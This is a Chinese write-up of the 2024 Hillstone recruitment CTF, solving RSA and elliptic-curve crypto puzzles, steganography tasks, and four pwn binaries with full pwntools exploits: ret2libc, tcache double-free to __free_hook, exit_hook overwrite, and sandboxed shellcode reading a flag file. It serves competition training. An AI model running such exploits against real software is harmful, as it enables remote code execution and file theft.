2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

admin 2024年8月13日18:02:02评论43 views字数 20028阅读66分45秒阅读模式

Crypto

babyrsa

常规爆破手法似乎不行,那么构造一个费马:
p=gcd(pow(2,e*dp,n)-2,n)
如此一来可以通过gcd来求得p和q,那么我们自然就可以解得了。
exp如下:
from Crypto.Util.number import *
from gmpy2 import *
c= 26428833089108619112543401377941163419250979664642943265508299590822837869637933032370723949505865732807509403008980001111126916951783370112684210389785537281772283550671588624722308805725690672754930080353732780773520348162269222216066784929770887093491417457520261709140762293279009605346348694646769053808
dp= 2908765611205924273147522425659082857753146913792876137567837302097103761504536876761719367145583429581937629102185312721298454071991277772268892326268461
e= 678204201444457
n= 91945882884578821743319552426161584716831335933352763790164193549305798844715147629985058062431350555610497226792134383366977843250763493601486535786929199048851645987081994100801330744528991317430039189841420249167955558610383082595817607430148007041336708502202187175595618185677867947851913024096633429531
p=gcd(pow(2,e*dp,n)-2,n)
m=pow(c,dp,p)
print(long_to_bytes(m))
# b'ayyctf{ae172204619343a9aa7299e2bf892c33}'

smooth_RSA

因为n是p-1之后不光滑的,所以我们可以通过这个地方来分解n。

while True:
    a = powmod(a, k, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("p =",res)
        print("q =",q)
        break
    k += 1

分解之后拿到半段flag。

后面的flag则为离散对数问题,用bsgs或者Pohlig–Hellman求解m。

最后拼接起来就是最终的flag。

from gmpy2 import *
a = 2
k = 2

n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c_1 = 7112350868869829886840551701814087530489677635347746657905748394294619089476549048862303253782011712993636879585666230112801521440247553836222895212157883766872087311098328895668535021306297865535247676174440796636240521507804445271883177178276269753038022175319279139814227579107843292613640483047848301767872075006972539675997144911848868579204983238763352529222303794792917196197318078616989351341395741336594865835347806914451305264933301475646040702008585352942224702361581715676068598608847594223565675267814635160303443678278930667710713779813686094242364706376241680419108778090968231090719482128196365646709
c_2 = 13689952379959960785304653155381940831780784650984698843926738621427378921833360289314355705302342044688760728162022474533152544761004181618957036492251709018395686987828651818850951561574227430953895649362625339864964397957764736341029879184957677963956860712326659340433931058813393528095118566800223063366656201538077019721396867864560071614369494048091587062822233796535861147829307670568567176841876056775716141185683889605930759561685694343612452944504977066043844072039190540560407510559996101505735799561237961891908211816484079994007043261444697677696068383565594469701736806846595573441175347568641942415173

N = n
while True:
    a = powmod(a, k, N)
    res = gcd(a-1, N)
    if res != 1 and res != N:
        q = N // res
        print("p =",res)
        print("q =",q)
        break
    k += 1

#输出
p = 109268750583210492912661319721515389321646957381678101188499321864013625365519396522869980584963944578652262909020200147281565838130301430582501248513401589422714205531526772647864509500814555502679061916959124401208489789418598136263500225389697644750645159566942457638611268993601752065879341124894542990799
q = 147744816639337381196428076346596686737072295580622582168516622486360559872553656509736189196912944607579571587207736696005514882002468398928242401016594778431756925333772439024534898247722260489175348340949971510835707006885734749277554884291959890878892310446954970440828425252231916139773617158390810789567

from Crypto.Util.number import *
n = 16143891519325923809125920344928514269138384879479480348218438571346662144379115683548750068403993234450824801420419870311176186484932569155386430863683900901104669631671988093057211069724265948322314298654217579055497379419239434106030837145175228585016734660480802013831487185568073280807156405889325966288603171493964848844741901669659100451279444344651574654733676775760760320950729248028578341852773569301079091687792672215882759551396673594127955018647904673235840743070237662636226784839132962074000225879468256396069223592010455669530487863636835912184140723019800663486485296917934708485512835085782806194033
c_1 = 7112350868869829886840551701814087530489677635347746657905748394294619089476549048862303253782011712993636879585666230112801521440247553836222895212157883766872087311098328895668535021306297865535247676174440796636240521507804445271883177178276269753038022175319279139814227579107843292613640483047848301767872075006972539675997144911848868579204983238763352529222303794792917196197318078616989351341395741336594865835347806914451305264933301475646040702008585352942224702361581715676068598608847594223565675267814635160303443678278930667710713779813686094242364706376241680419108778090968231090719482128196365646709
c_2 = 13689952379959960785304653155381940831780784650984698843926738621427378921833360289314355705302342044688760728162022474533152544761004181618957036492251709018395686987828651818850951561574227430953895649362625339864964397957764736341029879184957677963956860712326659340433931058813393528095118566800223063366656201538077019721396867864560071614369494048091587062822233796535861147829307670568567176841876056775716141185683889605930759561685694343612452944504977066043844072039190540560407510559996101505735799561237961891908211816484079994007043261444697677696068383565594469701736806846595573441175347568641942415173

p = 109268750583210492912661319721515389321646957381678101188499321864013625365519396522869980584963944578652262909020200147281565838130301430582501248513401589422714205531526772647864509500814555502679061916959124401208489789418598136263500225389697644750645159566942457638611268993601752065879341124894542990799
q = 147744816639337381196428076346596686737072295580622582168516622486360559872553656509736189196912944607579571587207736696005514882002468398928242401016594778431756925333772439024534898247722260489175348340949971510835707006885734749277554884291959890878892310446954970440828425252231916139773617158390810789567
phi=(p-1)*(q-1)
e=65537
d=inverse_mod(e,phi)
m_1=pow(c_1,d,n)
f1=long_to_bytes(int(m_1))
#print(f1)

# Baby-step Giant-step法
def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    # Baby step
    table = {}
    gr = 1  # g^r
    for r in range(m):
        table[gr] = r
        gr = (gr * g) % p
    # Giant step
    try:
        gm = pow(g, -m, p)  # gm = g^{-m}
    except:
        return None
    ygqm = y                # ygqm = y * g^{-qm}
    for q in range(m):
        if ygqm in table:
            return q * m + table[ygqm]
        ygqm = (ygqm * gm) % p
    return None

# Pohlig–Hellman法
def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q, _ in factor(p-1):
        x = babystep_giantstep(pow(g,(p-1)//q,p), pow(y,(p-1)//q,p), p, q)
        if (x is Noneor (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = e
y = c_2
m21 = pohlig_hellman_DLP(g, y, p)
m22 = pohlig_hellman_DLP(g,y,q)
m2=crt([m21,m22],[p,q])
f2=long_to_bytes(m2)
f=f1+f2
print(f)
#b'ayyctf{015f0d60fab48cac3408d5a83a64010b}'

SpecialCurve

蒙哥马利曲线转化成维尔斯特拉斯曲线,再解个specialcurve攻击。

from Crypto.Util.number import *

a = 0
d = 1067663980588612691369570988219743179260212924291925044
p = 1365855822212045061018261334821659180641576788523935481
res = (332832991729711705444321658734846793983440855059193404167084006901733094301954422464255018743654898458814341)
G = (204960446610608938346430442359195852118976306046604792943645157159957654849276255582541697467044830990555402)

v = G[0]
w = G[1]

# 转化->蒙哥马利
# Kt^2=s^3+js^2+s
J = (2 * (a + d)) * inverse_mod((a - d), p) % p
K = 4 * inverse_mod((a - d), p) % p
print('蒙哥马利参数:')
print('J=', J)
print('K=', K)

s = (1 + w) * inverse_mod((1 - w), p) % p
t = s * inverse_mod(v, p) % p
print('蒙哥马利上的基点:')
print('(s,t)=', (s, t))

Ps = (1 + res[1]) * inverse_mod((1 - res[1]), p) % p
Pt = Ps * inverse_mod(res[0], p) % p
print('蒙哥马利上的结果点:')
print('(Ps,Pt)=', (Ps, Pt))

A = (3 - J ^ 2) * inverse_mod((3 * K ^ 2), p) % p
B = (2 * J ^ 3 - 9 * J) * inverse_mod((27 * K ^ 3), p) % p
print('维尔斯特拉斯参数:')
print('A=', A)
print('B=', B)

x = (3 * s + J) * inverse_mod((3 * K), p) % p
y = t * inverse_mod(K, p) % p
print('维尔斯特拉斯上的基点:')
print('(x,y)=', (x, y))

Px = (3 * Ps + J) * inverse_mod((3 * K), p) % p
Py = Pt * inverse_mod(K, p) % p
print('维尔斯特拉斯上的结果点:')
print('(Px,Py)=', (Px, Py))
assert (Py ^ 2) % p == (Px ^ 3 + A * Px + B) % p


def attack(p, a2, a4, a6, Gx, Gy, Px, Py):
    """
    Solves the discrete logarithm problem on a singular curve (y^2 = x^3 + a2 * x^2 + a4 * x + a6).
    :param p: the prime of the curve base ring
    :param a2: the a2 parameter of the curve
    :param a4: the a4 parameter of the curve
    :param a6: the a6 parameter of the curve
    :param Gx: the base point x value
    :param Gy: the base point y value
    :param Px: the point multiplication result x value
    :param Py: the point multiplication result y value
    :return: l such that l * G == P
    """

    x = GF(p)["x"].gen()
    f = x ^ 3 + a2 * x ^ 2 + a4 * x + a6

    roots = f.roots()
    print('roots=', roots)
    # Singular point is a cusp.
    if len(roots) == 1:
        alpha = roots[0][0]
        u = (Gx - alpha) / Gy
        v = (Px - alpha) / Py
        return int(v / u)

    # Singular point is a node.
    if len(roots) == 2:
        if roots[0][1] == 2:
            alpha = roots[0][0]
            beta = roots[1][0]
        elif roots[1][1] == 2:
            alpha = roots[1][0]
            beta = roots[0][0]
        else:
            raise ValueError("Expected root with multiplicity 2.")
        t = (alpha - beta).sqrt()
        u = (Gy + t * (Gx - alpha)) / (Gy - t * (Gx - alpha))
        v = (Py + t * (Px - alpha)) / (Py - t * (Px - alpha))
        return int(v.log(u))

    raise ValueError(f"Unexpected number of roots {len(roots)}.")


secret = attack(p, 0, A, B, x, y, Px, Py)
print('secret=', secret)
print(b'ayyctf{' + long_to_bytes(secret) + b'}')
# b'ayyctf{hhh!_4_S1n9ular_CurV3!}'

misc

dog

png的IHDR隐写,将图片高度改为02 30再打开图片得到flag

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

play4fun

  1. 打开flag.txt发现一堆01

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

  1. 使用CyberChef转换

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

timestamp

txt文本中存在sonw隐写

下载附件得到两个文件一个是带密码的rar压缩包一个是passwd文件。

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

打开passwd.txt发现一串英文翻译出来后没有可用的数据,发现文本下一堆空格。

百度搜索CTF用空格加密的文件方法,得出sonw是使用空格加密的。

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

直接网上下载sonw,SONW.EXE -C 文件名,直接解密得出密码。

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

解开压缩包文件中没有内容,根据题目提示从时间戳入手。

查看文件属性发现只有修改时间没变直接读取修改时间的时间戳。

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

直接使用python读取修改时间戳。

import time
file='0.txt' #文件绝对路径
file_time=os.stat(file) #读取时间戳
file_time=file_time.st_mtime #读取修改文件时间信息
print(file_time)

读取出第一个文件0.txt的时间戳以此类推读取出后面文件所有的时间戳。

1721358097.0

前面数字一致但是发现后面的数字不一致,单独读取出来:

1721358097.0

1721358121.0

1721358121.0

1721358099.0

1721358116.0

1721358102.0

1721358123.0

1721358052.0

1721358049.0

1721358101.0

1721358049.0

1721358045.0

1721358098.0

1721358101.0

1721358099.0

1721358054.0

1721358045.0

1721358101.0

1721358102.0

1721358097.0

1721358049.0

1721358057.0

1721358125.0

得出ASCII码,直接在线解密得出flag:

97 121 121 99 116 102 123 52 49 101 49 45 98  101 99 54 45 101 102 97 49 57 125

ayyctf{41e1-bec6-efa19}

也可以使用python批量读取时间戳直接解码:

import time
for i in range(23): #循环总共文件
 file='{}.txt'.format(i)#文件绝对路径
 file_time=os.stat(file) #读取时间戳
 file_time=str(file_time.st_mtime) #读取修改时间戳
 print(chr(int(file_time[7:10])),end=''#读取第7位数字后的内容并以解密后的ASCII显示
 ayyctf{41e1-bec6-efa19}

签到

关注公众号

PWN

ezheap

猜数字,但是猜对就退出,注意代码审计,猜错一百次就可以得到一次申请堆并获得堆地址的机会。

申请一个libc上的地址即可泄露基地址,然后有一个八字节任意地址写的机会,改exit_hook为ogg即可。

from pwn import *
from ctypes import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()
#---------------------------------------------------------
libc = ELF('./libc-2.27.so')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
#io = process(filename)
io = remote("223.112.39.137",39555)
#io=remote("127.0.0.1",9090)
elf = ELF(filename)
#---------------------------------------------------------
for i in range(100):
 rl("Guess a number (0-99):")
 vv= 1
 #print(v1)
 print(vv)
 sl(str(vv))

rl(b"successfully.n")
sla("input size you want to mallocn",str(0x1000000))
add=int(io.recv(14),16)+ 0x1000ff0
lg(hex(add))


exit_hook=add+0x619060+3840
malloc=add+libc.sym['__malloc_hook']
ogg=0x040142D
#0x4f322  0x10a38c  0x4f2c5
lg(hex(add))



_rtld_global =add+0x226060
_dl_rtld_lock_recursive =add + 0xf08
_dl_rtld_unlock_recursive = add + 0xf10


sa("input address: ",p64(exit_hook))
sleep(1)
#dbg()
sla("n",p64(ogg))

inter()

ezstack

题目存在栈溢出写,打ret2libc。

思路:

from pwn import *
from ctypes import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()
#---------------------------------------------------------
libc = ELF('./libc-2.27.so')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
#io = process(filename)
io = remote("223.112.39.137",56617)
elf = ELF(filename)
#---------------------------------------------------------
leave=0x40120e
rdi=0x0000000000401273
ret=0x0040101a
main=elf.sym['main']
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
payload=b'a'*0x10+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(main)
sla("input:",payload)
libcbase=l64()-libc.sym['puts']
system=libcbase+libc.sym['system']
binstr=libcbase+next(libc.search(b'/bin/sh'))
lg(hex(libcbase))

payload=b'a'*0x10+p64(0)+p64(rdi)+p64(binstr)+p64(ret)+p64(system)+p64(main)
sla("input:",payload)
inter()

flower

漏洞点

sell函数存在uaf漏洞。

unsigned __int64 sub_CF3()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Enter the index of the flower to sell: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 < dword_202360 )
  {
    free(*((void **)&unk_202040 + v1));
    puts("Sold!");
  }
  return __readfsqword(0x28u) ^ v2;
}

检测保护

保护全开。

2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

利用思路

  • 信息搜集
    程序只能申请0x70和0x90大小的chunk,且没有edit操作,存在uaf,堆块数量无限制。
    给出libc版本为Ubuntu GLIBC 2.27-3ubuntu1,该版本引入tcache,但是没有对doublefree进行限制,Ubuntu GLIBC 2.27-3ubuntu1.6才检测tcache的doublefree。
  • 填满tcachebin后利用0x90的unsortedbin泄露libc
  • 清空tcachebin后进行doublefree将chunk申请到__free_hook
  • 将__free_hook修改为system函数
  • free掉含‘/bin/sh’的堆块,getshell

exp

from pwn import *
from LibcSearcher import*
def buy90(id):
  p.sendlineafter('Choice: ''1')
  p.sendlineafter('ID:n', id)

def buy70(id):
  p.sendlineafter('Choice: ''2')
  p.sendlineafter('ID:n', id)

def show(idx):
  p.sendlineafter('Choice: ''4')
  p.sendlineafter("Enter the index of the flower to show: ", str(idx))

def sell(idx):
  p.sendlineafter('Choice: ''5')
  p.sendlineafter("Enter the index of the flower to sell: ", str(idx))
  
context.update(arch="amd64", os="linux")
context.log_level="debug"
exe = ELF('./pwn')
host, port = "ip""port"
p = remote(host,port)
#p = process(exe.path)
def debug():
    gdb.attach(p,"set follow-fork-mode parentnbreak *$rebase(0xe01)n")
    sleep(3)

for i in range(9): #0-8
    buy90(b'a')
for i in range(7):
    sell(i)
sell(7)
show(7)

p.recvuntil(b'ID: ')
leak=u64(p.recv(6).ljust(8,b"x00"))
print("leak = " + hex(leak))

malloc_hook = leak - 96 - 0x10
libc = LibcSearcher('__malloc_hook',malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook'
free_hook =  libc_base + libc.dump('__free_hook')
print("__free_hook = " + hex(free_hook))
system = libc_base + libc.dump("system")

for i in range(8):
    buy90(b'a'#9-16

buy70(b"aaaa")#17
buy70(b"aaaa")#18 
buy70(b"aaaa")#19

sell(17)
sell(18)
sell(17)

buy70(p64(free_hook - 0x10))#20
buy70(b'/bin/shx00'#21
buy70(b"dddd"#22

buy70(p64(0)*2 + p64(system)) #23
sell(21)

p.interactive()

sandbox

程序分析

从题目名称可以看出是一个沙盒类型的题目,程序主要功能如下:

  • init_io:程序初始化IO流;
  • banner:打印欢迎信息,并输出banner函数地址,虽然程序保护机制全开,但有了此函数地址可绕过PIE保护;
  • init_UC、init_global:初始化工作,为结构体分配堆块进行存储;
  • read_from_user:与用户交互,为用户分配0x200字节以内的堆块,并写入用户输入的内容;
  • parse_ins:会解析用户输入的内容为汇编指令,并输出到控制台上;
  • init_machine:使用一些库函数,分配和映射某些地址,以及段信息;
  • emulator:对用户输入的指令进行模拟,并且在syscall指令调用之前,检查了rax寄存器的值,也就是检查了系统调用号,不允许为0x3b,也就是不允许调用execve;
  • run:此函数映射一段内存,赋予可读可写可执行权限,然后执行用户输入的shellcode。

利用思路

通过以上分析,不难想到的是,只要不使用系统调用号0x3b即可完成shellcode。那么除了执行execve("/bin/sh", 0, 0)之外,还可以通过open、read、write的方式来读取系统中的文件。利用思路如下:

  1. 首先关闭标准输入流,也就是调用close(0),这一步目的是确保后续打开flag文件时的文件描述符为0;
  2. 以只读方式打开flag文件,open("./flag", 0);
  3. 使用打开的flag文件描述符读取到内存中,长度0x40基本上够用了,read(fd, buf, 0x40);
  4. 最后调用write把读取到buf的内容打印出来,write(1, buf, 0x40),即可获得flag。

完整利用脚本

#coding=utf-8
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.arch = 'amd64'

io = remote('192.168.2.14',9999)
#io = process('./sandbox')

io.recvuntil('A gift for you : ')
elf_addr = eval(io.recv(len('0x560bdadfd4ce')))
elf_base = elf_addr - 0x1572
info(hex(elf_base))
bss = elf_base + 0x5020

shellcode = asm(shellcraft.close(0))
shellcode += asm(shellcraft.open("/flag",0))
shellcode += asm(shellcraft.read(0, bss+0x9000x30))
shellcode += asm(shellcraft.write(1, bss+0x9000x30))

#shellcode = asm(shellcraft.sh())
print(len(shellcode))
io.sendlineafter("> ",str(len(shellcode)))


# gdb.attach(io,"b emulation")
io.sendlineafter("Your input : ", shellcode)

io.interactive()

其他题解

没有禁用execveat函数,可编写shellcode获取shell。


原文始发于微信公众号(山石网科安全技术研究院):2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月13日18:02:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年第四届山石CTF招新赛WP CRYPTO&MISC&PWN篇https://cn-sec.com/archives/3063333.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息